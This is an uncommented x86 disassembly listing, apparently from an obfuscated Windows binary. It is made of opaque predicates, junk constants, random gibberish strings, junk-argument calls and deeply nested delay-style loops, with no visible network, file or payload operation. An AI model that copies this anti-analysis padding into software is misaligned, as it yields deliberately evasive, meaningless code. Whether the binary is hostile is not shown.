lea eax, [ebp - 0x1a24]
push eax
lea ecx, [ebp - 0x22a8]
call fcn.0040e240
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x18c8]
call fcn.0040e1ec
mov dword [ebp - 0x544], 0
jmp 0x48a382
mov eax, dword [ebp - 0x544]
inc eax
mov dword [ebp - 0x544], eax
cmp dword [ebp - 0x544], 3
jge 0x48a39e
mov eax, dword [ebp - 0x544]
mov dword [ebp + eax*4 - 0x1ea8], 0
jmp 0x48a375
push 0
lea ecx, [ebp - 0x18c8]
call fcn.0040e22e
mov dword [eax], 0xffffffea
jmp 0x48a3d7
push 0
lea ecx, [ebp - 0x18c8]
call fcn.0040e22e
mov dword [ebp - 0x87c], eax
mov eax, dword [ebp - 0x87c]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x87c]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x18c8]
call fcn.0040e22e
cmp dword [eax], 0xffffffed
jl 0x48a6b4
mov dword [ebp - 0x1f4], 0x1fe77dd6
mov dword [ebp - 0x1f4], 0
jmp 0x48a410
mov eax, dword [ebp - 0x1f4]
inc eax
mov dword [ebp - 0x1f4], eax
cmp dword [ebp - 0x1f4], 2
jl 0x48a6af
push 3
lea ecx, [ebp - 0x123c]
call fcn.0040e140
mov dword [ebp - 0x3b4], 0
jmp 0x48a443
mov eax, dword [ebp - 0x3b4]
inc eax
mov dword [ebp - 0x3b4], eax
cmp dword [ebp - 0x3b4], 3
jge 0x48a465
push dword [ebp - 0x3b4]
lea ecx, [ebp - 0x123c]
call fcn.0040e22e
mov dword [eax], 0x4210e164
jmp 0x48a436
push 1
lea ecx, [ebp - 0x123c]
call fcn.0040e22e
and dword [eax], 0
jmp 0x48a49b
push 1
lea ecx, [ebp - 0x123c]
call fcn.0040e22e
mov dword [ebp - 0xd7c], eax
mov eax, dword [ebp - 0xd7c]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0xd7c]
mov dword [ecx], eax
push 1
lea ecx, [ebp - 0x123c]
call fcn.0040e22e
cmp dword [eax], 0xfffffffb
jle 0x48a648
mov dword [ebp - 0x6c8], 0x1eef
mov dword [ebp - 0xf0], 0xffffffff
mov dword [ebp - 0x1770], 0x9c9d9403
mov eax, dword [ebp - 0x6c8]
mov dword [ebp - 0xf0], eax
cmp dword [ebp - 0xf0], 0
je 0x48a546
mov dword [ebp - 0xf0], 0
jmp 0x48a4fd
mov eax, dword [ebp - 0xf0]
inc eax
mov dword [ebp - 0xf0], eax
cmp dword [ebp - 0xf0], 3
jge 0x48a519
mov eax, dword [ebp - 0xf0]
mov dword [ebp + eax*4 - 0x1ea8], 1
jmp 0x48a4f0
mov byte [ebp - 0x212], 0
push 0
push 0x52c3
lea eax, [ebp - 0x212]
push eax
push 0x6f25
push 0
push 0
push 1
call fcn.0046de11
add esp, 0x1c
jmp 0x48a638
mov dword [ebp - 0x1768], 0xffffffff
push 1
lea ecx, [ebp - 0x123c]
call fcn.0040e22e
mov eax, dword [eax]
mov dword [ebp - 0xf0], eax
mov eax, dword [ebp - 0x6c8]
add eax, dword [ebp - 0xf0]
cmp eax, 0x1cf0
jg 0x48a584
mov dword [ebp - 0x1758], 1
jmp 0x48a58b
and dword [ebp - 0x1758], 0
mov eax, dword [ebp - 0x1f4]
mov dword [ebp - 0x1e30], eax
push 1
lea ecx, [ebp - 0x123c]
call fcn.0040e22e
mov eax, dword [ebp - 0x1f4]
mov dword [ebp - 0x209c], eax
cmp dword [ebp - 0x6c8], 0x8451f1e2
jne 0x48a5c8
mov dword [ebp - 0x1760], 1
jmp 0x48a5cf
and dword [ebp - 0x1760], 0
push 1
lea ecx, [ebp - 0x123c]
call fcn.0040e22e
mov eax, dword [ebp - 0x1768]
cmp dword [ebp - 0x6c8], eax
jl 0x48a5f6
mov dword [ebp - 0x884], 1
jmp 0x48a5fd
and dword [ebp - 0x884], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1ea8]
cmp dword [ebp - 0x884], eax
jle 0x48a625
push 5
pop eax
test eax, eax
je 0x48a625
mov dword [ebp - 0x1124], 1
jmp 0x48a62c
and dword [ebp - 0x1124], 0
mov eax, dword [ebp - 0x1124]
mov dword [ebp - 0x1770], eax
cmp dword [ebp - 0x1f4], 0
je 0x48a643
jmp 0x48a648
jmp 0x48a477
mov byte [ebp - 0x185], 0
movzx eax, byte [ebp - 0x185]
test eax, eax
je 0x48a69f
push 0x4fda
push 0x3b59
push 0x343b
push 0x6d51
push 0x2e0e
push 0
push 0x4e83
push 0x549a
push 0
push 0x4f6a
push 0x2b8b
push 0x1482
push 0x97b
push 1
call fcn.00482623
add esp, 0x38
lea ecx, [ebp - 0x123c]
call fcn.0040e212
jmp 0x48a403
jmp 0x48a3b3
mov byte [ebp - 0x214], 0
push 0x94f
push 0x5f06
push 0x55ae
push 0x5b35
push 0x3b44
push 0x4636
push 0x45cc
push 0
push 0x6d95
push 0
push 0x1423
push 0x6bf
push 1
push 0x5f88
push 0x49c4
push 1
push 0x5b2c
lea eax, [ebp - 0x214]
push eax
call fcn.00475662
add esp, 0x48
lea ecx, [ebp - 0x18c8]
call fcn.0040e212
push 0
lea ecx, [ebp - 0x188c]
call fcn.0040e22e
cmp dword [eax], 0
je 0x48a740
lea ecx, [ebp - 0x188c]
call fcn.0040e212
jmp 0x48b26a
push 3
lea ecx, [ebp - 0x1ed0]
call fcn.0040e140
mov dword [ebp - 0x364], 0x8a1f9496
mov dword [ebp - 0x88c], 0x566a9272
push 0
push 0x4050
push 0x212e
push 1
push 0x7a11
push 0
push 0
lea eax, [ebp - 0x1ed0]
push eax
push 0x1653
push 0x3135
push 0x74b9
lea eax, [ebp - 0x1e38]
push eax
push 1
call fcn.0047efdf
add esp, 0x34
mov dword [ebp - 0x364], 2
jmp 0x48a7b8
mov eax, dword [ebp - 0x364]
dec eax
mov dword [ebp - 0x364], eax
cmp dword [ebp - 0x364], 0
jl 0x48a8b1
mov dword [ebp - 0x148], 0xb1658084
push 2
lea ecx, [ebp - 0x1ebc]
call fcn.0040e140
push 1
lea eax, [ebp - 0x1ebc]
push eax
push 0x4662
push 0
push 1
push 0x27ad
lea eax, [ebp - 0x211c]
push eax
call fcn.0047e343
add esp, 0x1c
mov dword [ebp - 0x148], 2
jmp 0x48a81b
mov eax, dword [ebp - 0x148]
dec eax
mov dword [ebp - 0x148], eax
cmp dword [ebp - 0x148], 0
jl 0x48a850
mov byte [ebp - 0x18d], 0
movzx eax, byte [ebp - 0x18d]
test eax, eax
je 0x48a84e
push 0
push 0x6c1d
push 0
push 1
push 0x2562
call fcn.00481375
add esp, 0x14
jmp 0x48a80e
mov dword [ebp - 0x148], 2
jmp 0x48a869
mov eax, dword [ebp - 0x148]
dec eax
mov dword [ebp - 0x148], eax
cmp dword [ebp - 0x148], 0
jl 0x48a8a1
push 0x70d9
push 1
push 1
push 0x1ca8
push 0x5ee
push 0x21cd
push 1
push 0
lea eax, [ebp - 0x88c]
push eax
push 1
call fcn.004800d2
add esp, 0x28
jmp 0x48a85c
lea ecx, [ebp - 0x1ebc]
call fcn.0040e212
jmp 0x48a7ab
push 0x6148
push 0x575f
lea eax, [ebp - 0x88c]
push eax
push 1
push 0x463c
lea eax, [ebp - 0x364]
push eax
push 0
push 1
push 0
push 0x4a4b
push 0x34af
push 0x774b
call fcn.0047332b
add esp, 0x30
lea ecx, [ebp - 0x1ed0]
call fcn.0040e212
mov dword [ebp - 0x24], 1
mov dword [ebp - 0x8a4], 0xf888c554
mov dword [ebp - 0x3bc], 0xb2bc8f96
mov dword [ebp - 0xd9c], 0xfffffff8
mov dword [ebp - 0x8c4], 0x563ade45
mov dword [ebp - 0x19fc], 1
mov dword [ebp - 0x19f8], 1
mov dword [ebp - 0x19f4], 1
mov dword [ebp - 0x19f0], 1
lea ecx, [ebp - 0x7a1]
call fcn.0040e23d
push eax
lea eax, [ebp - 0x19ec]
push eax
lea eax, [ebp - 0x19fc]
push eax
lea ecx, [ebp - 0x2230]
call fcn.0040e240
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x1ee4]
call fcn.0040e1ec
mov dword [ebp - 0xd0], 0
jmp 0x48a99d
mov eax, dword [ebp - 0xd0]
inc eax
mov dword [ebp - 0xd0], eax
cmp dword [ebp - 0xd0], 1
jge 0x48a9b9
mov eax, dword [ebp - 0xd0]
mov dword [ebp + eax*4 - 0x8d4], 0xdc87a9b6
jmp 0x48a990
mov dword [ebp - 0xd0], 0
jmp 0x48a9d2
mov eax, dword [ebp - 0xd0]
inc eax
mov dword [ebp - 0xd0], eax
cmp dword [ebp - 0xd0], 4
jge 0x48a9ee
mov eax, dword [ebp - 0xd0]
mov dword [ebp + eax*4 - 0x22f0], 0x1111919b
jmp 0x48a9c5
cmp dword [ebp - 0x24], 0
je 0x48aa6e
cmp dword [ebp - 0x24], 0
je 0x48aa0c
cmp dword [ebp - 0x24], 0
je 0x48aa0c
mov dword [ebp - 0xd84], 1
jmp 0x48aa13
and dword [ebp - 0xd84], 0
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0xd84], eax
jge 0x48aa2a
mov dword [ebp - 0x894], 1
jmp 0x48aa31
and dword [ebp - 0x894], 0
mov eax, 0xe96f
sub eax, dword [ebp - 0x894]
jne 0x48aa4d
cmp dword [ebp - 0x24], 0
jne 0x48aa4d
and dword [ebp - 0xff4], 0
jmp 0x48aa57
mov dword [ebp - 0xff4], 1
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0xff4], eax
jg 0x48aa6e
mov dword [ebp - 0x89c], 1
jmp 0x48aa75
and dword [ebp - 0x89c], 0
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x89c], eax
jge 0x48aa8c
mov dword [ebp - 0xd8c], 1
jmp 0x48aa93
and dword [ebp - 0xd8c], 0
mov eax, dword [ebp - 0xd8c]
mov dword [ebp - 0x8a4], eax
mov eax, dword [ebp - 0x8a4]
imul eax, dword [ebp - 0x24]
add eax, 0x6982b357
cmp eax, dword [ebp - 0x24]
jl 0x48aabf
mov dword [ebp - 0x120c], 1
jmp 0x48aac6
and dword [ebp - 0x120c], 0
cmp dword [ebp - 0x120c], 1
je 0x48aadb
mov dword [ebp - 0x700], 1
jmp 0x48aae2
and dword [ebp - 0x700], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x700]
mov dword [ebp + eax - 0x8d4], ecx
mov eax, dword [ebp - 0x3bc]
cmp dword [ebp - 0x700], eax
jl 0x48ab0f
mov dword [ebp - 0x8ac], 1
jmp 0x48ab16
and dword [ebp - 0x8ac], 0
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x8ac], eax
jne 0x48ab2d
mov dword [ebp - 0x1778], 1
jmp 0x48ab34
and dword [ebp - 0x1778], 0
imul eax, dword [ebp - 0x24], 0xa40f
sub eax, dword [ebp - 0x3bc]
push 5
pop ecx
sub ecx, eax
je 0x48ab5d
mov eax, 0xfffe
test eax, eax
je 0x48ab5d
mov dword [ebp - 0xd94], 1
jmp 0x48ab64
and dword [ebp - 0xd94], 0
mov eax, dword [ebp - 0x3bc]
cmp dword [ebp - 0xd94], eax
jg 0x48ab7e
mov dword [ebp - 0x8b4], 1
jmp 0x48ab85
and dword [ebp - 0x8b4], 0
cmp dword [ebp - 0x8b4], 0xbc71
jle 0x48ab9d
mov dword [ebp - 0xffc], 1
jmp 0x48aba4
and dword [ebp - 0xffc], 0
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0xffc], eax
jl 0x48abbb
mov dword [ebp - 0x8bc], 1
jmp 0x48abc2
and dword [ebp - 0x8bc], 0
mov eax, dword [ebp - 0x8bc]
mov dword [ebp - 0xd9c], eax
mov eax, dword [ebp - 0xd9c]
mov dword [ebp - 0x8c4], eax
cmp dword [ebp - 0x8c4], 0
je 0x48abf5
cmp dword [ebp - 0x24], 0
je 0x48abf5
mov dword [ebp - 0x112c], 1
jmp 0x48abfc
and dword [ebp - 0x112c], 0
mov eax, dword [ebp - 0x112c]
sub eax, dword [ebp - 0x24]
cmp eax, dword [ebp - 0x24]
jl 0x48ac16
mov dword [ebp - 0x8cc], 1
jmp 0x48ac1d
and dword [ebp - 0x8cc], 0
mov eax, dword [ebp - 0x3bc]
cmp dword [ebp - 0x8cc], eax
jl 0x48ac40
mov eax, 0x2a227283
test eax, eax
je 0x48ac40
mov dword [ebp - 0xda4], 1
jmp 0x48ac47
and dword [ebp - 0xda4], 0
mov esi, dword [ebp - 0xda4]
sub esi, dword [ebp - 0x24]
push 2
lea ecx, [ebp - 0x1ee4]
call fcn.0040e22e
mov dword [eax], esi
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x24]
cmp dword [ebp + eax - 0x8d4], ecx
jg 0x48ac7d
mov dword [ebp - 0x1004], 1
jmp 0x48ac84
and dword [ebp - 0x1004], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1004]
mov dword [ebp + eax - 0x22f0], ecx
lea ecx, [ebp - 0x1ee4]
call fcn.0040e212
mov byte [ebp - 0x218], 0
mov dword [ebp - 0x1e40], 0x42eb90da
mov byte [ebp - 0x216], 0
push 1
push 0x3970
push 0
push 0x1e8d
lea eax, [ebp - 0x216]
push eax
push 0
call fcn.0046a55e
add esp, 0x18
mov byte [ebp - 0x195], 0
push 1
push 1
push 0x859
lea eax, [ebp - 0x195]
push eax
push 0
push 1
push 0x1cb4
push 1
push 0x7c5a
push 0x5f2
push 0x786
push 0x335a
call fcn.0047b4e6
add esp, 0x30
movzx eax, byte [ebp - 0x218]
test eax, eax
je 0x48b25a
mov dword [ebp - 0x90c], 0xfffffffa
mov dword [ebp - 0x1800], 0x9e0d
mov dword [ebp - 0x110], 0
jmp 0x48ad53
mov eax, dword [ebp - 0x110]
inc eax
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 1
jge 0x48ad6c
mov eax, dword [ebp - 0x110]
mov dword [ebp + eax*4 - 0x18], 0xf506e60b
jmp 0x48ad46
mov dword [ebp - 0x110], 0
jmp 0x48ad85
mov eax, dword [ebp - 0x110]
inc eax
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 1
jge 0x48ada1
mov eax, dword [ebp - 0x110]
mov dword [ebp + eax*4 - 0x91c], 0xcfe0c2df
jmp 0x48ad78
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x18], 0
jne 0x48aded
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
imul ecx, dword [ebp + ecx - 0x18], 0xb1ab
cmp dword [ebp + eax - 0x18], ecx
jne 0x48add4
mov dword [ebp - 0x8dc], 1
jmp 0x48addb
and dword [ebp - 0x8dc], 0
mov eax, dword [ebp - 0x8dc]
dec eax
jne 0x48aded
and dword [ebp - 0xdac], 0
jmp 0x48adf7
mov dword [ebp - 0xdac], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x18]
add eax, dword [ebp - 0xdac]
push 4
pop ecx
imul ecx, ecx, 0
imul eax, dword [ebp + ecx - 0x18]
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x18]
jl 0x48ae2a
mov dword [ebp - 0x8e4], 1
jmp 0x48ae31
and dword [ebp - 0x8e4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x18]
cmp eax, dword [ebp - 0x8e4]
jl 0x48ae4f
mov dword [ebp - 0x1780], 1
jmp 0x48ae56
and dword [ebp - 0x1780], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x18]
mov dword [ebp - 0x1ee8], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x18]
push 4
pop ecx
imul ecx, ecx, 0
sub eax, dword [ebp + ecx - 0x18]
je 0x48b072
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x18], 0
je 0x48b072
xor eax, eax
inc eax
je 0x48b072
mov dword [ebp - 0x2b0], 0xffffffff
push 0x2d2d
push 0x25cf
push 1
push 0x112b
push 0x25f7
push 0
push 0x77bb
push 1
push 1
push 0
push 0x5367
call fcn.004727fb
add esp, 0x2c
mov dword [ebp - 0x2b0], 0xffffffe9
jmp 0x48aeed
mov eax, dword [ebp - 0x2b0]
inc eax
mov dword [ebp - 0x2b0], eax
cmp dword [ebp - 0x2b0], 0
jg 0x48b06d
mov dword [ebp - 0x11c4], 0x13e458c4
push 2
lea ecx, [ebp - 0x1b68]
call fcn.0040e140
mov dword [ebp - 0x1788], 4
mov dword [ebp - 0x54c], 0
jmp 0x48af34
mov eax, dword [ebp - 0x54c]
inc eax
mov dword [ebp - 0x54c], eax
cmp dword [ebp - 0x54c], 2
jge 0x48af56
push dword [ebp - 0x54c]
lea ecx, [ebp - 0x1b68]
call fcn.0040e22e
mov dword [eax], 0x2b8319b8
jmp 0x48af27
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x18]
cmp dword [ebp - 0x11c4], eax
jg 0x48af74
mov dword [ebp - 0x8ec], 1
jmp 0x48af7b
and dword [ebp - 0x8ec], 0
mov eax, dword [ebp - 0x2b0]
inc eax
inc eax
jne 0x48af97
cmp dword [ebp - 0x11c4], 0
jne 0x48af97
and dword [ebp - 0xdb4], 0
jmp 0x48afa1
mov dword [ebp - 0xdb4], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x18]
add eax, dword [ebp - 0x8ec]
cmp eax, dword [ebp - 0xdb4]
jle 0x48afc5
mov dword [ebp - 0x8f4], 1
jmp 0x48afcc
and dword [ebp - 0x8f4], 0
mov esi, dword [ebp - 0x8f4]
neg esi
push 1
lea ecx, [ebp - 0x1b68]
call fcn.0040e22e
cmp esi, dword [eax]
je 0x48aff1
mov dword [ebp - 0x100c], 1
jmp 0x48aff8
and dword [ebp - 0x100c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x18]
cmp dword [ebp - 0x100c], eax
jle 0x48b016
mov dword [ebp - 0x8fc], 1
jmp 0x48b01d
and dword [ebp - 0x8fc], 0
mov eax, dword [ebp - 0x8fc]
mov dword [ebp - 0x1788], eax
mov byte [ebp - 0x19d], 0
push 1
lea eax, [ebp - 0x19d]
push eax
push 0x7eef
push 1
push 0
push 0x229f
push 0
push 0x5af7
push 0x2d74
push 1
call fcn.0047f7fb
add esp, 0x28
lea ecx, [ebp - 0x1b68]
call fcn.0040e212
jmp 0x48aee0
jmp 0x48b22c
mov dword [ebp - 0x130], 0x58390a34
mov dword [ebp - 0x3c4], 0
jmp 0x48b095
mov eax, dword [ebp - 0x3c4]
inc eax
mov dword [ebp - 0x3c4], eax
cmp dword [ebp - 0x3c4], 1
jge 0x48b0b1
mov eax, dword [ebp - 0x3c4]
mov dword [ebp + eax*4 - 0xdbc], 0xfff9
jmp 0x48b088
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xdbc]
inc eax
mov dword [ebp - 0x904], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x904]
mov dword [ebp + eax - 0xdbc], ecx
cmp dword [ebp - 0x904], 0x43d4
jge 0x48b0f0
mov dword [ebp - 0x1134], 1
jmp 0x48b0f7
and dword [ebp - 0x1134], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x18]
mov dword [ebp - 0x90c], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x18]
imul eax, dword [ebp - 0x1134]
cmp dword [ebp - 0x90c], eax
jge 0x48b12c
mov dword [ebp - 0x17f0], 1
jmp 0x48b133
and dword [ebp - 0x17f0], 0
cmp dword [ebp - 0x130], 0
je 0x48b151
cmp dword [ebp - 0x130], 0
je 0x48b151
mov dword [ebp - 0xdc4], 1
jmp 0x48b158
and dword [ebp - 0xdc4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x18]
imul eax, dword [ebp - 0xdc4]
cmp dword [ebp - 0x130], eax
jle 0x48b186
cmp dword [ebp - 0x130], 0
je 0x48b186
mov dword [ebp - 0x914], 1
jmp 0x48b18d
and dword [ebp - 0x914], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x18]
cmp dword [ebp - 0x914], eax
jle 0x48b1ab
mov dword [ebp - 0x1314], 1
jmp 0x48b1b2
and dword [ebp - 0x1314], 0
mov eax, dword [ebp - 0x130]
mov dword [ebp - 0x1e48], eax
mov eax, dword [ebp - 0x1800]
mov dword [ebp - 0x1eec], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x18]
mov dword [ebp - 0x1e50], eax
mov eax, dword [ebp - 0x130]
mov dword [ebp - 0x130], eax
cmp dword [ebp - 0x130], 0xffffffff
jne 0x48b1fb
mov dword [ebp - 0x1014], 1
jmp 0x48b202
and dword [ebp - 0x1014], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1014]
mov dword [ebp + eax - 0x91c], ecx
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov eax, dword [ebp + eax - 0x18]
mov dword [ebp + ecx - 0x91c], eax
push 1
push 0x6129
push 0
push 1
push 0x2560
push 0x7181
push 0x327f
push 1
push 0x411f
push 0x59b8
call fcn.0047b3e7
add esp, 0x28
lea ecx, [ebp - 0x188c]
call fcn.0040e212
jmp 0x48a053
push 1
lea ecx, [ebp - 0x12ec]
call fcn.0040e22e
cmp dword [eax], 0
je 0x48b28c
lea ecx, [ebp - 0x12ec]
call fcn.0040e212
jmp 0x4897d3
lea ecx, [ebp - 0x12ec]
call fcn.0040e212
jmp 0x4897d3
lea ecx, [ebp - 0x17a8]
call fcn.0040e212
mov dword [ebp - 0x158], 1
mov dword [ebp - 0xdd4], 0xffffffff
mov dword [ebp - 0xdcc], 0x9b4
mov dword [ebp - 0x1528], str.rgkdekkn_wxlq_qakobnabz_vrel_opijyvpf_imwouvywu_tdwgyel_cvmat
cmp dword [ebp - 0xdcc], 0xa61
jle 0x48b3b8
and dword [ebp - 0x614], 0
jmp 0x48b2f5
mov eax, dword [ebp - 0x614]
inc eax
mov dword [ebp - 0x614], eax
cmp dword [ebp - 0x614], 0x2f78
jge 0x48b3b8
and dword [ebp - 0x3cc], 0
jmp 0x48b31b
mov eax, dword [ebp - 0x3cc]
inc eax
mov dword [ebp - 0x3cc], eax
cmp dword [ebp - 0x3cc], 0x70d7
jge 0x48b3b3
and dword [ebp - 0x554], 0
jmp 0x48b341
mov eax, dword [ebp - 0x554]
inc eax
mov dword [ebp - 0x554], eax
cmp dword [ebp - 0x554], 0xf48
jge 0x48b3ae
and dword [ebp - 0x3d4], 0
jmp 0x48b363
mov eax, dword [ebp - 0x3d4]
inc eax
mov dword [ebp - 0x3d4], eax
cmp dword [ebp - 0x3d4], 0xd7a
jge 0x48b3ac
mov eax, dword [ebp - 0x614]
sub eax, dword [ebp - 0x3cc]
sub eax, dword [ebp - 0x554]
or eax, dword [ebp - 0x3d4]
cdq
mov dword [ebp - 0x1568], eax
mov dword [ebp - 0x1564], edx
push dword [ebp - 0x1564]
push dword [ebp - 0x1568]
mov ecx, 0xa97fd8
call fcn.0040e02b
jmp 0x48b356
jmp 0x48b334
jmp 0x48b30e
jmp 0x48b2e8
mov dword [ebp - 4], 2
cmp dword [ebp - 0xdcc], 0x8f6
jge 0x48b3db
mov edx, dword [ebp - 0x1528]
mov ecx, 0xa97fd8
call fcn.0041000e
jmp 0x48b3f7
or dword [ebp - 4], 0xffffffff
jmp 0x48b401
mov dword [ebp - 0x678], 0
jmp 0x48b41a
mov eax, dword [ebp - 0x678]
inc eax
mov dword [ebp - 0x678], eax
cmp dword [ebp - 0x678], 3
jge 0x48b436
mov eax, dword [ebp - 0x678]
mov dword [ebp + eax*4 - 0x21e0], 0x204e2db5
jmp 0x48b40d
mov dword [ebp - 0x158], 0
jmp 0x48b44f
mov eax, dword [ebp - 0x158]
inc eax
mov dword [ebp - 0x158], eax
cmp dword [ebp - 0x158], 2
jg 0x48b487
mov byte [ebp - 0x21a], 0
push 0x3606
lea eax, [ebp - 0x21a]
push eax
push 0x59c6
push 1
push 1
push 1
push 0x137d
push 1
call fcn.004713aa
add esp, 0x20
jmp 0x48b442
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x21e0], 0
je 0x48b4ab
cmp dword [ebp - 0x158], 0
je 0x48b4ab
mov dword [ebp - 0x1240], 1
jmp 0x48b4b2
and dword [ebp - 0x1240], 0
cmp dword [ebp - 0x158], 0x84515fdc
jae 0x48b4cb
xor eax, eax
jne 0x48b4cb
and dword [ebp - 0x924], 0
jmp 0x48b4d5
mov dword [ebp - 0x924], 1
mov eax, dword [ebp - 0x924]
dec eax
cmp dword [ebp - 0x1240], eax
je 0x48b4f0
mov dword [ebp - 0x92c], 1
jmp 0x48b4f7
and dword [ebp - 0x92c], 0
mov eax, dword [ebp - 0x158]
cmp dword [ebp - 0x92c], eax
jle 0x48b51a
cmp dword [ebp - 0xdd4], 0
jne 0x48b51a
mov dword [ebp - 0x934], 1
jmp 0x48b521
and dword [ebp - 0x934], 0
mov eax, dword [ebp - 0xdd4]
cmp dword [ebp - 0x934], eax
jne 0x48b53b
mov dword [ebp - 0x101c], 1
jmp 0x48b542
and dword [ebp - 0x101c], 0
mov eax, dword [ebp - 0x101c]
mov dword [ebp - 0x158], eax
mov byte [ebp - 0x2d], 0
mov dword [ebp - 0x3dc], 5
mov dword [ebp - 0x3dc], 0
jmp 0x48b575
mov eax, dword [ebp - 0x3dc]
dec eax
mov dword [ebp - 0x3dc], eax
cmp dword [ebp - 0x3dc], 0xfffffffd
jl 0x48b5d3
mov byte [ebp - 0x1a5], 0
push 0x571a
push 0x61f9
push 1
push 0x37bc
push 0x7a0d
push 0
push 0x3823
push 1
push 1
push 1
lea eax, [ebp - 0x1a5]
push eax
call fcn.004727fb
add esp, 0x2c
push 0x6ab7
push 0
push 0
push 1
push 0x4dd6
push 1
call fcn.00488708
add esp, 0x18
jmp 0x48b568
mov dword [ebp - 0x564], 0xfffffff6
mov dword [ebp - 0x93c], 0x7ae6
mov dword [ebp - 0x1478], str.opj_dreoolwj_zsjy_izxhor_nlpxc_rzma_szhei_snerireif
cmp dword [ebp - 0x93c], 0x7cf7
jle 0x48b6d5
push 0x2656
call dword [sym.imp.GDI32.dll_CloseEnhMetaFile]
and dword [ebp - 0x55c], 0
jmp 0x48b622
mov eax, dword [ebp - 0x55c]
inc eax
mov dword [ebp - 0x55c], eax
cmp dword [ebp - 0x55c], 0x6ebc
jge 0x48b6d5
and dword [ebp - 0x3e4], 0
jmp 0x48b648
mov eax, dword [ebp - 0x3e4]
inc eax
mov dword [ebp - 0x3e4], eax
cmp dword [ebp - 0x3e4], 0x31bb
jge 0x48b6d0
and dword [ebp - 0x61c], 0
jmp 0x48b66a
mov eax, dword [ebp - 0x61c]
inc eax
mov dword [ebp - 0x61c], eax
cmp dword [ebp - 0x61c], 0x7926
jge 0x48b6cb
mov eax, dword [ebp - 0x55c]
add eax, dword [ebp - 0x3e4]
mov ecx, dword [ebp - 0x61c]
shl eax, cl
cdq
mov dword [ebp - 0x1574], eax
mov dword [ebp - 0x1570], edx
push dword [ebp - 0x1570]
push dword [ebp - 0x1574]
lea ecx, [ebp - 0x2328]
call fcn.004019bd
pop ecx
pop ecx
mov ecx, eax
call fcn.0040e020
push eax
call fcn.0049dd57
pop ecx
lea ecx, [ebp - 0x2328]
call fcn.0040e016
jmp 0x48b65d
jmp 0x48b63b
jmp 0x48b615
mov dword [ebp - 0x338], 3
mov dword [ebp - 4], 4
cmp dword [ebp - 0x93c], 0x78d9
jge 0x48b6fe
push dword [ebp - 0x1478]
call fcn.0049dd57
pop ecx
jmp 0x48b71a
or dword [ebp - 4], 0xffffffff
jmp 0x48b724
mov dword [ebp - 0x7a0], 6
mov dword [ebp - 0x1334], 0x983c17a3
mov dword [ebp - 0x1ef4], 0x996f
mov dword [ebp - 0x3ec], 0
jmp 0x48b75b
mov eax, dword [ebp - 0x3ec]
inc eax
mov dword [ebp - 0x3ec], eax
cmp dword [ebp - 0x3ec], 2
jge 0x48b777
mov eax, dword [ebp - 0x3ec]
mov dword [ebp + eax*4 - 0x29c], 1
jmp 0x48b74e
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x29c]
cmp dword [ebp + eax - 0x29c], ecx
je 0x48b79f
mov dword [ebp - 0xddc], 1
jmp 0x48b7a6
and dword [ebp - 0xddc], 0
imul eax, dword [ebp - 0xddc], 0xc11
test eax, eax
jne 0x48b7c4
push 0xfffffffffffffffb
pop eax
test eax, eax
jne 0x48b7c4
and dword [ebp - 0x944], 0
jmp 0x48b7ce
mov dword [ebp - 0x944], 1
cmp dword [ebp - 0x944], 3
ja 0x48b7e3
mov dword [ebp - 0x113c], 1
jmp 0x48b7ea
and dword [ebp - 0x113c], 0
cmp dword [ebp - 0x113c], 0x91b4956e
je 0x48b802
mov dword [ebp - 0x94c], 1
jmp 0x48b809
and dword [ebp - 0x94c], 0
mov eax, dword [ebp - 0x94c]
mov dword [ebp - 0x338], eax
cmp dword [ebp - 0x338], 0
je 0x48b833
cmp dword [ebp - 0x338], 0
je 0x48b833
mov dword [ebp - 0xde4], 1
jmp 0x48b83a
and dword [ebp - 0xde4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x29c]
cmp dword [ebp - 0xde4], eax
jle 0x48b85b
mov dword [ebp - 0x1398], 1
jmp 0x48b862
and dword [ebp - 0x1398], 0
push 4
pop eax
